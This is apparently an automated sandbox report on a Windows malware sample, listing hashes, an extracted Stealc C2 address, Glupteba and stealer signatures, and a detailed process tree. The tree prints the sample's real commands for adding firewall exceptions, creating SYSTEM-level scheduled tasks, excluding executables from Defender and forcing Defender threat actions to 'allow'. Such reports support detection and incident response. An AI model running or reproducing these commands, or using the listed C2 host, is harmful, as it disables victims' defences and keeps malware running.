Analysis
-
max time kernel
128s -
max time network
302s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
-
submitted
18-04-2024 23:04
General
-
Target
b1bf0f6717341cb605ebf48e85805282b77e5a3d610f211b90e4ec726b448331.exe
-
Size
383KB
-
MD5
81f2e982687c695ee0bbadf147feca3b
-
SHA1
b33a15b47c3b99c65f2277562a928bf9ce9dabf7
-
SHA256
b1bf0f6717341cb605ebf48e85805282b77e5a3d610f211b90e4ec726b448331
-
SHA512
16461398006e12c7acc47ae87859bc4567405a7fdca2e3d13863cf14b424036c1703d882f30a3e4aa62a2cec9d8c994b6fa823ba8250ec0e6ba35f52ae2ecf05
-
SSDEEP
6144:kz00wubhcFv7g9X7wkDStegoIG2sJnuhLvdHVpHBm/F0kpJVdVpftj7XfLT:kzhBqFv7g9kBVG2ACLvd1pBmN3pJ5plX
Malware Config
Extracted
stealc
http://185.172.128.209
-
url_path
/3cd2b41cbde8fc9c.php
Signatures
-
Glupteba
Glupteba is a modular loader written in Golang with various components.
-
Glupteba payload 16 IoCs
-
Modifies firewall policy service 2 TTPs 1 IoCs
-
Stealc
Stealc is an infostealer written in C++.
-
Downloads MZ/PE file
-
Modifies Windows Firewall 2 TTPs 2 IoCs
-
Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Drops startup file 7 IoCs
-
Executes dropped EXE 22 IoCs
-
Loads dropped DLL 13 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Enumerates connected drives 3 TTPs 4 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Drops file in System32 directory 6 IoCs
-
Suspicious use of SetThreadContext 3 IoCs
-
Drops file in Windows directory 2 IoCs
-
Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 12 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Enumerates system info in registry 2 TTPs 2 IoCs
-
Modifies data under HKEY_USERS 64 IoCs
-
Modifies system certificate store 2 TTPs 5 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: MapViewOfSection 3 IoCs
-
Suspicious use of AdjustPrivilegeToken 57 IoCs
-
Suspicious use of FindShellTrayWindow 7 IoCs
-
Suspicious use of SendNotifyMessage 7 IoCs
-
Suspicious use of SetWindowsHookEx 6 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\b1bf0f6717341cb605ebf48e85805282b77e5a3d610f211b90e4ec726b448331.exe"C:\Users\Admin\AppData\Local\Temp\b1bf0f6717341cb605ebf48e85805282b77e5a3d610f211b90e4ec726b448331.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"2⤵
- Drops startup file
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Pictures\e3HkPHXOGfuVQUTw1Xvp757T.exe"C:\Users\Admin\Pictures\e3HkPHXOGfuVQUTw1Xvp757T.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\u3p4.0.exe"C:\Users\Admin\AppData\Local\Temp\u3p4.0.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Qg_Appv5.exe"C:\Users\Admin\AppData\Local\Temp\Qg_Appv5.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\Zqicom_beta\UniversalInstaller.exeC:\Users\Admin\AppData\Local\Temp\Zqicom_beta\UniversalInstaller.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\Zqicom_beta\UniversalInstaller.exeC:\Users\Admin\AppData\Roaming\Zqicom_beta\UniversalInstaller.exe6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe7⤵
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\u3p4.1.exe"C:\Users\Admin\AppData\Local\Temp\u3p4.1.exe"4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe"C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD15⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Pictures\1Y5p0DBnCJqnlXI8OmDX7JHB.exe"C:\Users\Admin\Pictures\1Y5p0DBnCJqnlXI8OmDX7JHB.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Pictures\1Y5p0DBnCJqnlXI8OmDX7JHB.exe"C:\Users\Admin\Pictures\1Y5p0DBnCJqnlXI8OmDX7JHB.exe"4⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes6⤵
- Modifies Windows Firewall
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F6⤵
- Creates scheduled task(s)
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll6⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F6⤵
- Creates scheduled task(s)
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"6⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)7⤵
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)8⤵
- Launches sc.exe
-
C:\Users\Admin\Pictures\bRl4jNgMLsMxBemHk5tIPc28.exe"C:\Users\Admin\Pictures\bRl4jNgMLsMxBemHk5tIPc28.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Pictures\bRl4jNgMLsMxBemHk5tIPc28.exe"C:\Users\Admin\Pictures\bRl4jNgMLsMxBemHk5tIPc28.exe"4⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"5⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes6⤵
- Modifies Windows Firewall
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
-
C:\Users\Admin\Pictures\13evA9wal9gieIRSHOIx7DVn.exe"C:\Users\Admin\Pictures\13evA9wal9gieIRSHOIx7DVn.exe" --silent --allusers=03⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Pictures\13evA9wal9gieIRSHOIx7DVn.exeC:\Users\Admin\Pictures\13evA9wal9gieIRSHOIx7DVn.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.45 --initial-client-data=0x2a0,0x2a4,0x2a8,0x27c,0x2ac,0x6ee0e1d0,0x6ee0e1dc,0x6ee0e1e84⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\13evA9wal9gieIRSHOIx7DVn.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\13evA9wal9gieIRSHOIx7DVn.exe" --version4⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\Pictures\13evA9wal9gieIRSHOIx7DVn.exe"C:\Users\Admin\Pictures\13evA9wal9gieIRSHOIx7DVn.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=4840 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240418230446" --session-guid=a863f3da-9d8b-4580-ac22-12821abc3d33 --server-tracking-blob="ZGIwYzA1NzFiZTQ1MDc2ODU1MzY4MmZlYWExNGQ1NDZkZDM3MTNiOTQ1OGUzNDVkZGY5ZjMyNjlmYmY1ZWFmYzp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2N19fMTIzIiwic3lzdGVtIjp7InBsYXRmb3JtIjp7ImFyY2giOiJ4ODZfNjQiLCJvcHN5cyI6IldpbmRvd3MiLCJvcHN5cy12ZXJzaW9uIjoiMTAiLCJwYWNrYWdlIjoiRVhFIn19LCJ0aW1lc3RhbXAiOiIxNzEzNDgxNDc0LjMwMDUiLCJ1dG0iOnsiY2FtcGFpZ24iOiI3NjdfXzEyMyIsIm1lZGl1bSI6ImFwYiIsInNvdXJjZSI6Im1rdCJ9LCJ1dWlkIjoiYmI0NTUyYjItNDg3NC00ZDdkLWEzM2UtZDVmN2E5ZDIzNGY2In0= " --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=A8040000000000004⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Pictures\13evA9wal9gieIRSHOIx7DVn.exeC:\Users\Admin\Pictures\13evA9wal9gieIRSHOIx7DVn.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.45 --initial-client-data=0x2ac,0x2b0,0x2b4,0x27c,0x2b8,0x6de0e1d0,0x6de0e1dc,0x6de0e1e85⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404182304461\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404182304461\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404182304461\assistant\assistant_installer.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404182304461\assistant\assistant_installer.exe" --version4⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404182304461\assistant\assistant_installer.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404182304461\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.45 --initial-client-data=0x230,0x234,0x238,0x20c,0x23c,0xf66038,0xf66044,0xf660505⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\Pictures\Ps6Oo1KnG5cl0a9XxX9mCevu.exe"C:\Users\Admin\Pictures\Ps6Oo1KnG5cl0a9XxX9mCevu.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSEA7F.tmp\Install.exe.\Install.exe /sQwdidHh "385118" /S4⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True7⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True8⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bWycNackLSywaqkmgR" /SC once /ST 23:06:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\CIIqjcQ.exe\" em /Oxsite_idsMJ 385118 /S" /V1 /F5⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Users\Admin\Pictures\NS6rGAGIv4P400sLxCOtLJyY.exe"C:\Users\Admin\Pictures\NS6rGAGIv4P400sLxCOtLJyY.exe"3⤵
- Modifies firewall policy service
- Executes dropped EXE
- Drops file in System32 directory
-
C:\Users\Admin\Pictures\YSnN50VmgnYtv0QvhS8rLDMo.exe"C:\Users\Admin\Pictures\YSnN50VmgnYtv0QvhS8rLDMo.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ce-installer_7.14.2_vbox-6.1.20.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ce-installer_7.14.2_vbox-6.1.20.exe4⤵
-
C:\Windows\SYSTEM32\msiexec.exe"msiexec.exe" /qn /i VirtualBox-6.1.20-r143896.msi ADDLOCAL=VBoxApplication,VBoxPython VBOX_INSTALLDESKTOPSHORTCUT=0 VBOX_INSTALLQUICKLAUNCHSHORTCUT=0 /log "C:\Users\Admin\AppData\Local\Temp\charityengine-install-vbox-log.txt"5⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ce_7.14.2_windows_x86_64.exe"ce_7.14.2_windows_x86_64.exe" /S /v"/qn ACCTMGR_LOGIN=anonymous ACCTMGR_PASSWORDHASH=S16-01 /norestart /log C:\Users\Admin\AppData\Local\Temp\charityengine-install-ce-log.txt"5⤵
-
C:\Windows\SYSTEM32\MSIEXEC.EXEMSIEXEC.EXE /i "C:\Windows\Downloaded Installations\{97657C9B-F62F-4B80-92E3-C146A666778F}\Charity Engine.msi" /qn ACCTMGR_LOGIN=anonymous ACCTMGR_PASSWORDHASH=S16-01 /norestart /log C:\Users\Admin\AppData\Local\Temp\charityengine-install-ce-log.txt SETUPEXEDIR="C:\Users\Admin\AppData\Local\Temp\IXP000.TMP" SETUPEXENAME="ce_7.14.2_windows_x86_64.exe"6⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"2⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵
-
C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\CIIqjcQ.exeC:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\CIIqjcQ.exe em /Oxsite_idsMJ 385118 /S1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:323⤵
-
